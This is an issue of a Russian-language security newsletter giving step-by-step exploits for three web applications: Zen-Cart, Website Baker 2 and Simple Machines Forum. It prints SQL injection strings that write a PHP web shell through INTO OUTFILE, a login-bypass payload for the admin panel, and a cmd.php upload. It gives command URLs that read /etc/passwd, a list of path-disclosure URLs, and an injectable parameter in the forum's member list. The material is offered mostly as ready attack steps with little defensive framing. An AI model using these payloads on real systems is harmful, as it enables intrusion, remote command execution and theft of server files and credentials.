Здравствуйте, дорогие подписчики. Перед Вами очередной выпуск моей
рассылки. По некоторым техническим причинам рассылка не могла выходить
долгое время, но теперь все в порядке и рассылка снова готова радовать вас.
ПО: Zen-Cart
Версии: <=1.2.6d
Сайт: http://www.zencart.com/
Описание:
"Zen Cart лучшая система покупок для e-коммерции: бесплатный,
дружелюбный к пользователям, открытый исходный код. Программное
обеспечение начиналась создаваться группой продавцов магазинов,
программистов, дизайнеров и консультантов, которые работают в сфере
e-комерции и могут быть полезны..."
1) Использование удаленных команд и кодов
Уязвимый код содержиться в admin/password_forgotten.php:
...
if (isset($_POST['submit'])) {
$sql = "select admin_id, admin_name, admin_email, admin_pass from " .
TABLE_ADMIN . " where admin_email = '" . $admin_email . "'";
...
если magic_quotes_gpc оба on&off вы можете вставить в поле e-mail
команду для создания шелла, например:
'UNION SELECT 0,0,'',0 INTO OUTFILE
'[full_application_path]shell.php' FROM admin/*
при этом запрос может принять следующую форму:
select admin_id, admin_name, admin_email, admin_pass from admin where
admin_email = ''UNION SELECT 0,0,'',0 INTO
OUTFILE '[full_application_path]shell.php FROM admin/*'
и затем запускаем команду:
http://[цель]/[путь]/shell.php?cmd=cat%20/etc/passwd
2) Раскрытие пути
Обычно, если ERROR_REPORTING не установлен на 0 в php.ini, вы можете
перейти на следующие адреса, в которых возможна инъекция:
http://[цель]/[путь]/admin/includes/graphs/banner_daily.php
http://[цель]/[путь]/admin/includes/graphs/banner_infobox.php
http://[цель]/[путь]/admin/includes/graphs/banner_yearly.php
http://[цель]/[путь]/admin/includes/graphs/banner_monthly.php
http://[цель]/[путь]/admin/includes/application_bottom.php
http://[цель]/[путь]/admin/includes/attributes_preview.php
http://[цель]/[путь]/admin/includes/modules/category_product_listing.php
http://[цель]/[путь]/admin/includes/modules/copy_to_confirm.php
http://[цель]/[путь]/admin/includes/modules/delete_product_confirm.php
http://[цель]/[путь]/admin/includes/modules/move_product_confirm.php
Иногда путь показывается в index.php, если установочная директория не
удален или файл конфигурации является, записан на старые файлы, что
бывает крайне редко.
Сайт: http://www.websitebaker.org/2/home/
Описание:
"Website Baker 2 - система мониторинга и работы с содержанием сайта,
имеющая открытый исходный код, делающая еще более проще создание сайта."
Уязвимость:
Если magic_quotes_gpc выключен, то Вы можете обойти систему проверки
административного пароля и войти в зону администратора.
Переходим по http://[цель]/[путь_до_wb]/admin/ и заходим:
user: 'or isnull(1/0)/*
pass: [whatever]
Теперь вы моджете перейти к меню "Media" и закачать cmd.php файл с
кодом:
И теперь просто запускаем команду:
http://[цель]/[путь_до_wb]/media/cmd.php?cmd=cat%20/etc/passwd
Сайт: http://www.simplemachines.org/
Описание:
Simple Machines Forum - наиболее распространенная система сообщений
основанная на PHP и MySQL.
Уязвимость:
Давайте просмотрим код в Memberlist.php:
if (!is_numeric($_REQUEST['start']))
{
$request = db_query("
SELECT COUNT(ID_MEMBER)
FROM {$db_prefix}members
WHERE LOWER(SUBSTRING(realName, 1,
1)) < '" .
substr(strtolower($_REQUEST['start']), 0, 1) . "'
AND is_activated = 1",
__FILE__, __LINE__);
list ($_REQUEST['start']) =
mysql_fetch_row($request);
mysql_free_result($request);
}
Как мы видим, скрипт не проверяет правильность ввода в 'start', что
может позволить удаленно применить SQL-инъекцию. Зарегистрированный
пользователь может создать специальный SQL параметр для доступа к базе
данных.
Демонстрация:
http://example.com/smf/index.php?action=mlist;sa=all;start='[SQL]